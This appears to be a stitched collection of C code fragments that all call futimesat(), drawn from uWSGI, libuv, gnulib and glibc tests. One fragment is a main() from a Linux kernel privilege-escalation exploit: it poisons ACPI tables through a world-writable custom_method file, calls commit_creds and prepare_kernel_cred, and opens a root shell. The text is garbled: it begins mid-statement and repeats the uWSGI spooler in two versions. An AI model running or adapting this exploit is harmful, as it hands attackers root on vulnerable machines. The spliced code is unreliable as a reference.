(write(fd, buffer, size) != size) { goto clear; } if (body && body_len > 0) { if ((size_t)write(fd, body, body_len) != body_len) { goto clear; } } if (at > 0) { struct timeval tv[2]; tv[0].tv_sec = at; tv[0].tv_usec = 0; tv[1].tv_sec = at; tv[1].tv_usec = 0; #ifdef __sun__ if (futimesat(fd, NULL, tv)) { #else if (futimes(fd, tv)) { #endif uwsgi_error("futimes()"); } } // here the file will be unlocked too close(fd); if (!uwsgi.spooler_quiet) uwsgi_log("[spooler] written %d bytes to file %s\n", size + body_len + 4, filename); // and here waiting threads can continue uwsgi_unlock(uspool->lock); /* wake up the spoolers attached to the specified dir ... (HACKY) no need to fear races, as USR1 is harmless an all of the uWSGI processes... it could be a problem if a new process takes the old pid, but modern systems should avoid that */ struct uwsgi_spooler *spoolers = uwsgi.spoolers; while(spoolers) { if (!strcmp(spoolers->dir, uspool->dir)) { if (spoolers->pid > 0 && spoolers->running == 0) { (void) kill(spoolers->pid, SIGUSR1); } } spoolers = spoolers->next; } return 1; clear: uwsgi_unlock(uspool->lock); uwsgi_error("write()"); if (unlink(filename)) { uwsgi_error("unlink()"); } // unlock the file too close(fd); return 0; } void spooler(struct uwsgi_spooler *uspool) { // prevent process blindly reading stdin to make mess int nullfd; // asked by Marco Beri #ifdef __HAIKU__ #ifdef UWSGI_DEBUG uwsgi_log("lowering spooler priority to %d\n", B_LOW_PRIORITY); #endif set_thread_priority(find_thread(NULL), B_LOW_PRIORITY); #else #ifdef UWSGI_DEBUG uwsgi_log("lowering spooler priority to %d\n", PRIO_MAX); #endif setpriority(PRIO_PROCESS, getpid(), PRIO_MAX); #endif nullfd = open("/dev/null", O_RDONLY); if (nullfd < 0) { uwsgi_error_open("/dev/null"); exit(1); } if (nullfd != 0) { dup2(nullfd, 0); close(nullfd); } int spooler_event_queue = event_queue_init(); int interesting_fd = -1; if (uwsgi.master_process) { event_queue_add_fd_read(spooler_event_queue, uwsgi.shared->spooler_signal_pipe[1]); } // reset the tasks counter uspool->tasks = 0; for (;;) { if (chdir(uspool->dir)) { uwsgi_error("chdir()"); exit(1); } if (uwsgi.spooler_ordered) { #ifdef __linux__ spooler_scandir(uspool, NULL); #else spooler_readdir(uspool, NULL); #endif } else { spooler_readdir(uspool, NULL); } int timeout = uwsgi.shared->spooler_frequency; if (wakeup > 0) { timeout = 0; } if (event_queue_wait(spooler_event_queue, timeout, &interesting_fd) > 0) { if (uwsgi.master_process) { if (interesting_fd == uwsgi.shared->spooler_signal_pipe[1]) { uwsgi_receive_signal(interesting_fd, "spooler", (int) getpid()); } } } // avoid races uint64_t tmp_wakeup = wakeup; if (tmp_wakeup > 0) { tmp_wakeup--; } wakeup = tmp_wakeup; // need to recycle ? if (uwsgi.spooler_max_tasks > 0 && uspool->tasks >= (uint64_t)uwsgi.spooler_max_tasks) { uwsgi_log("[spooler %s pid: %d] maximum number of tasks reached (%d) recycling ...\n", uspool->dir, (int) uwsgi.mypid, uwsgi.spooler_max_tasks); end_me(0); } } }
static ssize_t uv__fs_futime(uv_fs_t* req) { #if defined(__linux__) /* utimesat() has nanosecond resolution but we stick to microseconds * for the sake of consistency with other platforms. */ static int no_utimesat; struct timespec ts[2]; struct timeval tv[2]; char path[sizeof("/proc/self/fd/") + 3 * sizeof(int)]; int r; if (no_utimesat) goto skip; ts[0].tv_sec = req->atime; ts[0].tv_nsec = (unsigned long)(req->atime * 1000000) % 1000000 * 1000; ts[1].tv_sec = req->mtime; ts[1].tv_nsec = (unsigned long)(req->mtime * 1000000) % 1000000 * 1000; r = uv__utimesat(req->file, NULL, ts, 0); if (r == 0) return r; if (errno != ENOSYS) return r; no_utimesat = 1; skip: tv[0].tv_sec = req->atime; tv[0].tv_usec = (unsigned long)(req->atime * 1000000) % 1000000; tv[1].tv_sec = req->mtime; tv[1].tv_usec = (unsigned long)(req->mtime * 1000000) % 1000000; snprintf(path, sizeof(path), "/proc/self/fd/%d", (int) req->file); r = utimes(path, tv); if (r == 0) return r; switch (errno) { case ENOENT: if (fcntl(req->file, F_GETFL) == -1 && errno == EBADF) break; /* Fall through. */ case EACCES: case ENOTDIR: errno = ENOSYS; break; } return r; #elif defined(__APPLE__) \ || defined(__DragonFly__) \ || defined(__FreeBSD__) \ || defined(__NetBSD__) \ || defined(__OpenBSD__) \ || defined(__sun) struct timeval tv[2]; tv[0].tv_sec = req->atime; tv[0].tv_usec = (unsigned long)(req->atime * 1000000) % 1000000; tv[1].tv_sec = req->mtime; tv[1].tv_usec = (unsigned long)(req->mtime * 1000000) % 1000000; # if defined(__sun) return futimesat(req->file, NULL, tv); # else return futimes(req->file, tv); # endif #else errno = ENOSYS; return -1; #endif }
int main(int argc, char **argv) { int ret; FILE *fp; char buf[64]; struct stat sb; char payload[PAYLOAD_LEN] = PAYLOAD_AML; unsigned long sys_futimesat, prepare_kernel_cred, commit_creds; printf("[+] resolving required symbols...\n"); sys_futimesat = get_symbol("sys_futimesat"); if (!sys_futimesat) { printf("[-] sys_futimesat symbol not found, aborting!\n"); exit(1); } prepare_kernel_cred = get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] prepare_kernel_cred symbol not found, aborting!\n"); exit(1); } commit_creds = get_symbol("commit_creds"); if (!commit_creds) { printf("[-] commit_creds symbol not found, aborting!\n"); exit(1); } printf("[+] checking for world-writable custom_method...\n"); ret = stat(CUSTOM_METHOD, &sb); if (ret < 0) { printf("[-] custom_method not found, kernel is not vulnerable!\n"); exit(1); } if (!(sb.st_mode & S_IWOTH)) { printf("[-] custom_method not world-writable, kernel is not vulnerable!\n"); exit(1); } printf("[+] checking for an ACPI LID device...\n"); ret = stat(HEY_ITS_A_LID, &sb); if (ret < 0) { printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n"); exit(1); } if (sizeof(sys_futimesat) != 8) { printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n"); exit(1); } sys_futimesat &= ~0xffffffff80000000; memcpy(&payload[63], &sys_futimesat, 4); memcpy(&payload[101], &commit_creds, 4); memcpy(&payload[108], &prepare_kernel_cred, 4); printf("[+] poisoning ACPI tables via custom_method...\n"); fp = fopen(CUSTOM_METHOD, "w"); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("[+] triggering ACPI payload via LID device...\n"); fp = fopen(HEY_ITS_A_LID, "r"); fread(&buf, 1, sizeof(buf), fp); fclose(fp); printf("[+] triggering exploit via futimesat...\n"); ret = futimesat(0, "/tmp", NULL); if (ret != -1 || errno != EDOTDOT) { printf("[-] unexpected futimesat errno, exploit failed!\n"); exit(1); } if (getuid() != 0) { printf("[-] privileges not escalated, exploit failed!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); }
int gl_futimens (int fd ATTRIBUTE_UNUSED, char const *file, struct timespec const timespec[2]) { /* Some Linux-based NFS clients are buggy, and mishandle time stamps of files in NFS file systems in some cases. We have no configure-time test for this, but please see <http://bugs.gentoo.org/show_bug.cgi?id=132673> for references to some of the problems with Linux 2.6.16. If this affects you, compile with -DHAVE_BUGGY_NFS_TIME_STAMPS; this is reported to help in some cases, albeit at a cost in performance. But you really should upgrade your kernel to a fixed version, since the problem affects many applications. */ #if HAVE_BUGGY_NFS_TIME_STAMPS if (fd < 0) sync (); else fsync (fd); #endif /* POSIX 200x added two interfaces to set file timestamps with nanosecond resolution. We provide a fallback for ENOSYS (for example, compiling against Linux 2.6.25 kernel headers and glibc 2.7, but running on Linux 2.6.18 kernel). */ #if HAVE_UTIMENSAT if (fd < 0) { int result = utimensat (AT_FDCWD, file, timespec, 0); # ifdef __linux__ /* Work around what might be a kernel bug: http://bugzilla.redhat.com/442352 http://bugzilla.redhat.com/449910 It appears that utimensat can mistakenly return 280 rather than -1 upon failure. FIXME: remove in 2010 or whenever the offending kernels are no longer in common use. */ if (0 < result) errno = ENOSYS; # endif if (result == 0 || errno != ENOSYS) return result; } #endif #if HAVE_FUTIMENS { int result = futimens (fd, timespec); # ifdef __linux__ /* Work around the same bug as above. */ if (0 < result) errno = ENOSYS; # endif if (result == 0 || errno != ENOSYS) return result; } #endif /* The platform lacks an interface to set file timestamps with nanosecond resolution, so do the best we can, discarding any fractional part of the timestamp. */ { #if HAVE_FUTIMESAT || HAVE_WORKING_UTIMES struct timeval timeval[2]; struct timeval const *t; if (timespec) { timeval[0].tv_sec = timespec[0].tv_sec; timeval[0].tv_usec = timespec[0].tv_nsec / 1000; timeval[1].tv_sec = timespec[1].tv_sec; timeval[1].tv_usec = timespec[1].tv_nsec / 1000; t = timeval; } else t = NULL; if (fd < 0) { # if HAVE_FUTIMESAT return futimesat (AT_FDCWD, file, t); # endif } else { /* If futimesat or futimes fails here, don't try to speed things up by returning right away. glibc can incorrectly fail with errno == ENOENT if /proc isn't mounted. Also, Mandrake 10.0 in high security mode doesn't allow ordinary users to read /proc/self, so glibc incorrectly fails with errno == EACCES. If errno == EIO, EPERM, or EROFS, it's probably safe to fail right away, but these cases are rare enough that they're not worth optimizing, and who knows what other messed-up systems are out there? So play it safe and fall back on the code below. */ # if HAVE_FUTIMESAT if (futimesat (fd, NULL, t) == 0) return 0; # elif HAVE_FUTIMES if (futimes (fd, t) == 0) return 0; # endif } #endif /* HAVE_FUTIMESAT || HAVE_WORKING_UTIMES */ if (!file) { #if ! (HAVE_FUTIMESAT || (HAVE_WORKING_UTIMES && HAVE_FUTIMES)) errno = ENOSYS; #endif /* Prefer EBADF to ENOSYS if both error numbers apply. */ if (errno == ENOSYS) { int fd2 = dup (fd); int dup_errno = errno; if (0 <= fd2) close (fd2); errno = (fd2 < 0 && dup_errno == EBADF ? EBADF : ENOSYS); } return -1; } #if HAVE_WORKING_UTIMES return utimes (file, t); #else { struct utimbuf utimbuf; struct utimbuf const *ut; if (timespec) { utimbuf.actime = timespec[0].tv_sec; utimbuf.modtime = timespec[1].tv_sec; ut = &utimbuf; } else ut = NULL; return utime (file, ut); } #endif /* !HAVE_WORKING_UTIMES */ } }
/* CHANGED in 2.0.7: wsgi_req is useless ! */ char *uwsgi_spool_request(struct wsgi_request *wsgi_req, char *buf, size_t len, char *body, size_t body_len) { struct timeval tv; static uint64_t internal_counter = 0; int fd = -1; struct spooler_req sr; if (len > 0xffff) { uwsgi_log("[uwsgi-spooler] args buffer is limited to 64k, use the 'body' for bigger values\n"); return NULL; } // parse the request buffer memset(&sr, 0, sizeof(struct spooler_req)); uwsgi_hooked_parse(buf, len, spooler_req_parser_hook, &sr); struct uwsgi_spooler *uspool = uwsgi.spoolers; if (!uspool) { uwsgi_log("[uwsgi-spooler] no spooler available\n"); return NULL; } // if it is a number, get the spooler by id instead of by name if (sr.spooler && sr.spooler_len) { uspool = uwsgi_get_spooler_by_name(sr.spooler, sr.spooler_len); if (!uspool) { uwsgi_log("[uwsgi-spooler] unable to find spooler \"%.*s\"\n", sr.spooler_len, sr.spooler); return NULL; } } // this lock is for threads, the pid value in filename will avoid multiprocess races uwsgi_lock(uspool->lock); // we increase it even if the request fails internal_counter++; gettimeofday(&tv, NULL); char *filename = NULL; size_t filename_len = 0; if (sr.priority && sr.priority_len) { filename_len = strlen(uspool->dir) + sr.priority_len + strlen(uwsgi.hostname) + 256; filename = uwsgi_malloc(filename_len); int ret = snprintf(filename, filename_len, "%s/%.*s", uspool->dir, (int) sr.priority_len, sr.priority); if (ret <= 0 || ret >= (int) filename_len) { uwsgi_log("[uwsgi-spooler] error generating spooler filename\n"); free(filename); uwsgi_unlock(uspool->lock); return NULL; } // no need to check for errors... (void) mkdir(filename, 0777); ret = snprintf(filename, filename_len, "%s/%.*s/uwsgi_spoolfile_on_%s_%d_%llu_%d_%llu_%llu", uspool->dir, (int)sr.priority_len, sr.priority, uwsgi.hostname, (int) getpid(), (unsigned long long) internal_counter, rand(), (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec); if (ret <= 0 || ret >=(int) filename_len) { uwsgi_log("[uwsgi-spooler] error generating spooler filename\n"); free(filename); uwsgi_unlock(uspool->lock); return NULL; } } else { filename_len = strlen(uspool->dir) + strlen(uwsgi.hostname) + 256; filename = uwsgi_malloc(filename_len); int ret = snprintf(filename, filename_len, "%s/uwsgi_spoolfile_on_%s_%d_%llu_%d_%llu_%llu", uspool->dir, uwsgi.hostname, (int) getpid(), (unsigned long long) internal_counter, rand(), (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec); if (ret <= 0 || ret >= (int) filename_len) { uwsgi_log("[uwsgi-spooler] error generating spooler filename\n"); free(filename); uwsgi_unlock(uspool->lock); return NULL; } } fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR); if (fd < 0) { uwsgi_error_open(filename); free(filename); uwsgi_unlock(uspool->lock); return NULL; } // now lock the file, it will no be runnable, until the lock is not removed // a race could come if the spooler take the file before fcntl is called // in such case the spooler will detect a zeroed file and will retry later if (uwsgi_fcntl_lock(fd)) { close(fd); free(filename); uwsgi_unlock(uspool->lock); return NULL; } struct uwsgi_header uh; uh.modifier1 = 17; uh.modifier2 = 0; uh.pktsize = (uint16_t) len; #ifdef __BIG_ENDIAN__ uh.pktsize = uwsgi_swap16(uh.pktsize); #endif if (write(fd, &uh, 4) != 4) { uwsgi_log("[spooler] unable to write header for %s\n", filename); goto clear; } if (write(fd, buf, len) != (ssize_t) len) { uwsgi_log("[spooler] unable to write args for %s\n", filename); goto clear; } if (body && body_len > 0) { if ((size_t) write(fd, body, body_len) != body_len) { uwsgi_log("[spooler] unable to write body for %s\n", filename); goto clear; } } if (sr.at > 0) { #ifdef __UCLIBC__ struct timespec ts[2]; ts[0].tv_sec = sr.at; ts[0].tv_nsec = 0; ts[1].tv_sec = sr.at; ts[1].tv_nsec = 0; if (futimens(fd, ts)) { uwsgi_error("uwsgi_spooler_request()/futimens()"); } #else struct timeval tv[2]; tv[0].tv_sec = sr.at; tv[0].tv_usec = 0; tv[1].tv_sec = sr.at; tv[1].tv_usec = 0; #ifdef __sun__ if (futimesat(fd, NULL, tv)) { #else if (futimes(fd, tv)) { #endif uwsgi_error("uwsgi_spooler_request()/futimes()"); } #endif } // here the file will be unlocked too close(fd); if (!uwsgi.spooler_quiet) uwsgi_log("[spooler] written %lu bytes to file %s\n", (unsigned long) len + body_len + 4, filename); // and here waiting threads can continue uwsgi_unlock(uspool->lock); /* wake up the spoolers attached to the specified dir ... (HACKY) no need to fear races, as USR1 is harmless an all of the uWSGI processes... it could be a problem if a new process takes the old pid, but modern systems should avoid that */ struct uwsgi_spooler *spoolers = uwsgi.spoolers; while (spoolers) { if (!strcmp(spoolers->dir, uspool->dir)) { if (spoolers->pid > 0 && spoolers->running == 0) { (void) kill(spoolers->pid, SIGUSR1); } } spoolers = spoolers->next; } return filename; clear: uwsgi_unlock(uspool->lock); uwsgi_error("uwsgi_spool_request()/write()"); if (unlink(filename)) { uwsgi_error("uwsgi_spool_request()/unlink()"); } free(filename); // unlock the file too close(fd); return NULL; } void spooler(struct uwsgi_spooler *uspool) { // prevent process blindly reading stdin to make mess int nullfd; // asked by Marco Beri #ifdef __HAIKU__ #ifdef UWSGI_DEBUG uwsgi_log("lowering spooler priority to %d\n", B_LOW_PRIORITY); #endif set_thread_priority(find_thread(NULL), B_LOW_PRIORITY); #else #ifdef UWSGI_DEBUG uwsgi_log("lowering spooler priority to %d\n", PRIO_MAX); #endif setpriority(PRIO_PROCESS, getpid(), PRIO_MAX); #endif nullfd = open("/dev/null", O_RDONLY); if (nullfd < 0) { uwsgi_error_open("/dev/null"); exit(1); } if (nullfd != 0) { dup2(nullfd, 0); close(nullfd); } int spooler_event_queue = event_queue_init(); int interesting_fd = -1; if (uwsgi.master_process) { event_queue_add_fd_read(spooler_event_queue, uwsgi.shared->spooler_signal_pipe[1]); } // reset the tasks counter uspool->tasks = 0; for (;;) { if (chdir(uspool->dir)) { uwsgi_error("chdir()"); exit(1); } if (uwsgi.spooler_ordered) { #ifdef __linux__ spooler_scandir(uspool, NULL); #else spooler_readdir(uspool, NULL); #endif } else { spooler_readdir(uspool, NULL); } int timeout = uwsgi.shared->spooler_frequency ? uwsgi.shared->spooler_frequency : uwsgi.spooler_frequency; if (wakeup > 0) { timeout = 0; } if (event_queue_wait(spooler_event_queue, timeout, &interesting_fd) > 0) { if (uwsgi.master_process) { if (interesting_fd == uwsgi.shared->spooler_signal_pipe[1]) { uwsgi_receive_signal(interesting_fd, "spooler", (int) getpid()); } } } // avoid races uint64_t tmp_wakeup = wakeup; if (tmp_wakeup > 0) { tmp_wakeup--; } wakeup = tmp_wakeup; } }
/* use futimesat */ static int futimes(int fd, struct timeval *tv) { return futimesat(fd, 0, tv); }
static int do_test (void) { /* fdopendir takes over the descriptor, make a copy. */ int dupfd = dup (dir_fd); if (dupfd == -1) { puts ("dup failed"); return 1; } if (lseek (dupfd, 0, SEEK_SET) != 0) { puts ("1st lseek failed"); return 1; } /* The directory should be empty safe the . and .. files. */ DIR *dir = fdopendir (dupfd); if (dir == NULL) { puts ("fdopendir failed"); return 1; } struct dirent64 *d; while ((d = readdir64 (dir)) != NULL) if (strcmp (d->d_name, ".") != 0 && strcmp (d->d_name, "..") != 0) { printf ("temp directory contains file \"%s\"\n", d->d_name); return 1; } closedir (dir); /* Try to create a file. */ int fd = openat (dir_fd, "some-file", O_CREAT|O_RDWR|O_EXCL, 0666); if (fd == -1) { if (errno == ENOSYS) { puts ("*at functions not supported"); return 0; } puts ("file creation failed"); return 1; } write (fd, "hello", 5); puts ("file created"); struct stat64 st1; if (fstat64 (fd, &st1) != 0) { puts ("fstat64 failed"); return 1; } close (fd); struct timeval tv[2]; tv[0].tv_sec = st1.st_atime + 1; tv[0].tv_usec = 0; tv[1].tv_sec = st1.st_mtime + 1; tv[1].tv_usec = 0; if (futimesat (dir_fd, "some-file", tv) != 0) { puts ("futimesat failed"); return 1; } struct stat64 st2; if (fstatat64 (dir_fd, "some-file", &st2, 0) != 0) { puts ("fstatat64 failed"); return 1; } if (st2.st_mtime != tv[1].tv_sec #ifdef _STATBUF_ST_NSEC || st2.st_mtim.tv_nsec != 0 #endif ) { puts ("stat shows different mtime"); return 1; } if (unlinkat (dir_fd, "some-file", 0) != 0) { puts ("unlinkat failed"); return 1; } close (dir_fd); return 0; }